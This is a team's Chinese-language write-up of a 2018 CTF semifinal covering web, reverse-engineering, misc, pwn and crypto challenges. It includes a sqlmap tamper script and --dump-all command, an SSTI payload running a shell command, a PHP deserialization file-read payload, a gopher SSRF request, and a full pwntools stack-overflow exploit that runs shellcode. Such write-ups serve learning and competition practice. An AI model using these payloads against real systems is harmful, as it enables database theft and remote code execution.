2018湖湘杯复赛-WriteUp

By DWN战队

web这块基本都是原题,仅作参考。

差一题pwn200 AK。

签到题 SingIn Welcome

 

WEB Code Check

访问是一个登陆页面,查看源码有一个链接。

news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09

尝试注入,一直返回数据库错误。

然后在news目录下发现源码list.zip

<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
    mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
    $data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    if(substr(trim($data),-7)!=='hxb2018'){
        echo '<script>window.location.href="/index.php";</script>';
    }else{
        return substr(trim($data),0,strlen(trim($data))-7);
    }
}

$id=decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09");
echo $id;
// $sql="select id,title,content,time from notice where id=$id";
// $info=$link->query($sql);
// $arr=$info->fetch_assoc();
// ?>
// <!DOCTYPE html>
// <html lang="en">
// <head>
// <meta charset="UTF-8">
// <title>X公司HR系统V1.0</title>
// <style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
// </head>
// <body>
// <div class="body">
// <div class="title"><?php echo $arr['title']?></div>
// <div class="content"><?php echo $arr['content']?></div>
// </body>
// </html>

b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09就是1加密过的。

需要逆推一下这个函数。

function encode($data){
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
    mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
    $data = $data .'hxb2018';
    $data = mcrypt_generic($td,$data);
    $data=base64_encode(base64_encode($data));
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    // echo substr(trim($data),0,strlen(trim($data))-7);
    echo $data;
}

然后将我们的payload直接加密然后注入。

由于比较麻烦,tamper省事一点

hxb.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from Crypto.Cipher import AES

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING


__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def encrypt(text):
    padding = ''
    key = 'ydhaqPQnexoaDuW3'
    iv = '2018201920202021'
    pad_it = lambda s: s+(16 - len(s)%16)*padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    text = text + 'hxb2018'
    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

    return encrypt(payload)

很多人没注意notice2

直接一把嗦:

 sqlmap -u "http://47.107.236.42:49882/news/list.php?id=1" --tamper hxb.py --dump-all -T "notice,notice2,stormgroup_member" -D mozhe_discuz_stormgroup

 

WEB XmeO

没啥好说的,基本的SSTI

直接找xss bot源码

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat   //home/XmeO/auto.js").read()' )

hh

 

WEB MyNote

注册一个账号,发现可以上传。

查看上传的图片

有一个picture的cookie

数组的反序列化读取文件。

robots.txt可以知道存在flag.php

payload:

 $wing[] = '../../flag.php';
echo urlencode(base64_encode(serialize($wing)));

发送过去,看到了data协议的数据。

解码

 

WEB ReadFIle

这题也没什么考点,emmm。

file协议可以读取到文件。

首先发现ssrf目录下的web.php

出题人原意可能是想让我们用gopher打。

但是源码里面有一个这个:/var/www/html/ssrf/readflag

$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
  if($_POST['user']=="admin" && $ip=="127.0.0.1"){
    system("/var/www/html/ssrf/readflag");
}
}

curl 保存到本地。

用ida分析一下

flag在ssrf目录…..

gopher参考:

%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%2f%5f%50%4f%53%54%20%2f%73%73%72%66%2f%77%65%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%36%25%30%64%25%30%61%55%73%65%72%2d%41%67%65%6e%74%3a%20%63%75%72%6c%2f%37%2e%34%33%2e%30%25%30%64%25%30%61%41%63%63%65%70%74%3a%20%2a%2f%2a%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%31%30%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%64%25%30%61%25%30%64%25%30%61%75%73%65%72%3d%61%64%6d%69%6e

这次的re难度不是太大……但是re2和re3都有点偏门,不太硬核233 但也挺有意思的

 

Replace

upx -d脱壳,然后是一个比普通签到略复杂一点的签到题,没什么好说的

要求table[input[i]] == atoi(data[2*i]+data[2*i+1])^0x19

table = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
  0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
  0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
  0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
  0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
  0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
  0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
  0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
  0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
  0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
  0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
  0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
  0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
  0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
  0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
  0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
  0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
  0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
  0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
  0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
  0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
  0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
  0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
  0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
  0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
  0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
s = bytes.fromhex("2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6")
for i in range(len(s)):
    v = table.index(s[i]^0x19)
    print(chr(v), end='')

 

HighwayHash64

从题目和描述的Hash,以及输入提示的

Note:hxb2018{digits}

就可以猜到,这估计是个爆破Hash的题目

看了一下hash函数中初始化结构体的部分跟md5不同,查了也没有信息,所以可能是自定义的哈希算法

刚开始尝试了一下扒代码到编译器中复现,然而有很多ROL的宏定义,比较麻烦,所以直接调用该函数是比较方便的

调用函数有两种方法,一种是写一个dll注入到exe中进行调用,另一种则是将该exe直接改成dll,另外写一个exe来调用

前者日后再尝试吧,相对而言感觉要复杂一些

后者只需要将exe的PE头中的标志位修改,再通过RVA(Relative Virtual Address)获取函数地址即可

具体方法为,首先通过十六进制编辑器修改PE头

这里使用010Editor一类的工具会比较方便

  • NtHeader
    • Characteristics
      • IMAGE_FILE_DLL标志位

将该位改为1即可通过LoadLibrary调用

typedef __int64(__fastcall *f)(__int64 buff, unsigned __int64 len);

int main()
{
    HINSTANCE hdll;

    hdll = LoadLibrary(TEXT("F:\ctf\hxb\2018\reverse.dll"));
    if (hdll == NULL)
    {
        printf("Load dll Error: %dn", GetLastError());
        return 0;
    }
    printf("Dll base is %llxn", hdll);
    func = ((f)((char*)hdll + 0x17A0));
}

注意编译的时候由于dll是x64的,因此exe理应也是用x64的

以及这里的函数声明需要使用__fastcall的调用约定,因为从汇编可以看出来

mov     edx, 4
mov     [rsp+158h+var_138], eax
lea     rcx, [rsp+158h+var_138]
call    hash

传参使用的rcx和rdx,如果用其他调用约定的话通常会用栈传参

IDA其实是已经识别出来的

返回值则需要自己根据内容看出来,向rax放了一个int64的值

mov     rax, qword ptr [rsp+0C8h+md5_struct]
add     rax, qword ptr [rsp+0C8h+md5_struct+20h]
add     rax, qword ptr [rsp+0C8h+md5_struct+40h]
add     rax, qword ptr [rsp+0C8h+md5_struct+60h]

这里IDA是识别错误的

接下来就可以直接使用该函数来爆破了

 do
    ++len;
  while ( Dst[len] );
  v7 = len;
  if ( hash((__int64)&v7, 4ui64) != (char *)0xD31580A28DD8E6C4i64 )

第一次hash使用的是len的地址,也就是把长度视作一个4字节的char数组来进行hash

因此我们首先要算出flag的长度

爆破的时候也提供一个int的空间即可

void len()
{
    int i;
    unsigned long long  result;
    for (i = 0;i<50; i++)
    {
        result = func((long long )&i, 4);
        if (result == 0xD31580A28DD8E6C4)
        {
            printf("Len is %dn", i-9);
            return ;
        }
    }
    printf("Not found the lenn");
    return;
}

很快可以得出i=19,然后掐去前后的格式字符共9个,即可知道中间的内容是十个十进制数了

接下来可以通过sprintf快速制作10个字节的十进制数,然后穷举

void hash()
{
    unsigned long long i;
    unsigned long long  result;
    char buff[20];
    for (i = 0; i < 10000000000; i++)
    {
        sprintf_s(buff, "%0.10llu", i);
        if (i % 100000 == 0)
        {
            printf("%0.10llun", i);
        }
        result = func((long long)buff, 10);
        if (result == 0x7CDCCF71350B7DB8)
        {
            //5203614978
            printf("flag is %lldn", i);
            return;
        }
    }
}

赛后交流了一下,flag的hash是不一样,所以复现的时候需要自己改一下

 

More efficient than JS

题目文件下载下来就能看到一个wasm,再结合题目,很显然又是WebAssembly逆向……越来越多的出题人开始搞这东西了orz

目前Chrome和Firefox都没有针对它出好用的调试器,只能用js的调试器凑活看,所以我的经验就是直接动调,用wabt组件反编译出的c和wat来辅助分析

运行了一下直接在fetch的地方报错,让队里师傅给搭了个http环境才能跑起来

以往的wasm题目都是在html中调用函数,这次找了一圈也没有看到

跑起来以后什么都不显示直接弹窗,估计是js中的代码,于是根据提示内容”Input:”找到了这里

在这下断,然后刷新果然断到了,但是接着单步跟下去就会进到一个死循环里

这个循环执行完以后又会回到弹窗里,于是有点懵逼

(动态调试和静态分析的相关技巧可以在我前两天的博客中找到)

后来在wat里发现了一个函数的名字叫做_main

果断下断,发现刷新页面以后会先执行wasm中的_main函数,然后到f98的调用时开始弹窗,点击取消以后会继续执行

再往后两个调用,到f42的时候注意它的参数执行完后会取出值,返回值则是len

然后在f22的5个参数中就可以发现各种有趣的东西了,注释如下

其中f22是核心的加密函数,在里面不断地单步跟,有选择地跳过

(其实最关键的就是几个循环中的i32_load),看它们从哪里取值以及取出来的是什么值即可

个人认为wasm的关键在于跟随数据而不是代码(因为代码太恶心了orz)

中间可以看到根据key去往后table中取值,但是最后与输入有关的只是异或,因此可以输入一串0,从而得到异或的值

然后从f23中的一个循环中使用的地址得到结果数组,最后异或求解即可

input = [[137, 221, 46, 119, 76, 156, 92, 92, 137, 215, 225, 85, 132, 233, 53, 206, 231, 78, 160, 89, 133, 178, 65, 60, 63, 29, 11, 164, 233, 71, 5, 192, 227, 190, 31, 178, 177, 218, 213, 38, 217, 39, 137, 164, 117, 224]]
output = [223, 129, 127, 32, 7, 196, 13, 28, 201, 158, 142, 23, 215, 237, 120]
for i in range(len(output)):
    print(chr(input[i]^ord('0')^output[i]),end='')

flag{happy_rc4}

从这个flag来看算法应该是rc4,也比较负责动调中感觉到的,根据key变换table然后取table的值和明文异或

因为这个算法的特性所以也可以理解为和密钥流异或23333

 

MISC Hidden Write

010看到3个ihdr和iend,分别抠出来,补齐png头89 50 4E 47 0D 0A 1A 0A

后面的两个图片存在盲水印,解出来得到flag最后一段

文件结尾字符串得到flag中间一段

然后是一个lsb隐写找到flag的第一段

 

MISC Flow

首先跑wifi密码,开始跑8位数字没跑出来,于是换了一个wpa常用密码的字典去跑,秒出结果orz

参考:https://xz.aliyun.com/t/1972

解密流量,然后跟踪tcp流,得到flag

 

MISC Disk

用winimage打开看到4个flag.txt

提取后看到是一堆01串,脚本解一下

 

PWN Regex Format

保护全无,所以做法有很多了,我的思路是往bss上写shellcode,然后栈溢出劫持控制流到我布置好的shellcode上。

这题比较烦的就是逆向部分了吧,首先读取regex format到.data的aBeforeUseItUnd变量后,这是做正则表达式的。然后读取一个字符串到bss上,是正则表达式匹配的对象。

程序首先会在0x08048680处的函数对正则表达式进行一个解析,比较烦的是,前面的内容是固定的Before :use$ it, :understand$* it :first$+.,即aBeforeUseItUnd变量

一顿操作后将正则表达式分成了好几段,我们gdb看下

然后这里进行循环去匹配每段正则表达式

不过sub_8048930的第3个参数为s,而s是char s; // [esp+474h] [ebp-D4h],那这里就可以去进行一个栈溢出操作了,去这个函数看看

可以看到,只要正则匹配,程序就会一直进行一个赋值操作,将bss上的数据赋值给栈上的s,于是问题就是如果使这个正则一直匹配下去。很简单,我们把bss上要写的内容放进去就行了嘛。

经过一顿调试后,最终写出了如下exp

完整exp:

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
st      = lambda delim,data         :io.sendthen(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
slt     = lambda delim,data         :io.sendlinethen(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, ''))
uu64    = lambda data               :u64(data.ljust(8, ''))


def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = ''
    gdbscript += 'directory %smallocn' % glibc_dir
    gdbscript += 'directory %sstdio-common/n' % glibc_dir
    gdbscript += 'directory %sstdlib/n' % glibc_dir
    gdbscript += 'directory %slibion' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk 27{{print 241}}27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    log.info(gdbscript)
    gdb.attach(io, gdbscript)


def exploit(local):
    _nop = asm(shellcraft.nop())
    _sh = asm(shellcraft.sh())
    _re = 'Before use$ it, understand$* it first$+.'
    _sh_addr = 0x0804A24C+0xd4+12*4
    sla('formatn', ':'+p32(_sh_addr)+_nop+_sh.replace('$', '')+'$*')
    sla('matchn', _re.ljust(0xd4, _nop) + p32(_sh_addr)*12 + _sh)
    sl('n')
    sl('./flag')
    irt()


if __name__ == '__main__':
    binary_file = './pwn1'
    context.binary = binary_file
    context.terminal = ['tmux', 'sp', '-h', '-l', '110']
    context.log_level = 'debug'
    elf = ELF(binary_file)
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
        # libc = ELF('./libc.so.6')
        exploit(False)
    else:
        io = process(binary_file)
        libc = elf.libc
        exploit(True)

 

PWN Hash Burger

https://github.com/SECCON/SECCON2017_online_CTF/tree/0a8bbd28544fbd89bed0f0e3eafa7b09a0165a6b/pwn/300_hash_burger

Get原题一枚,exp拿下来,改下ip,端口,libc路径,直接打

 

Crypto Common Crypto

很明显有两个函数与加密相关

key_generate函数中对key_struct的前16个字节进行了赋值,也就是128位的key

然后在之后与一个数组—搜索之后可以发现它是AES的SBox,进行异或,产生了轮密钥

然后在下一个函数,AES_encrypt中进行了明文和key_struct的运算

AES的特征是十轮运算、每轮进行字节替换、行移位、列混淆、轮密钥加,最后一轮缺少轮密钥加

所以要不是在十轮循环中有一个判断,要不就是九轮循环+额外三个步骤

函数内是满足这样的流程的

使用AES进行加密与动调获得的结果可以互相验证

sprintf调用了32次,而加密的结果只有16个字节,因此结果字符串中前32个字符为密文,后32个字符为明文的hex_encode

前半段进行解密、后半段则hex_decode即可

from Cryptodome.Cipher import AES
key = bytes.fromhex("1b2e3546586e72869ba7b5c8d9efff0c")
aes = AES.new(key, AES.MODE_ECB)
plain = aes.decrypt(bytes.fromhex("4dd78cfbcfc1dbd9e8f31715bf9c3464"))
print(plain)
print(bytes.fromhex("35316565363661623136353863303733"))

Good Job!

(完)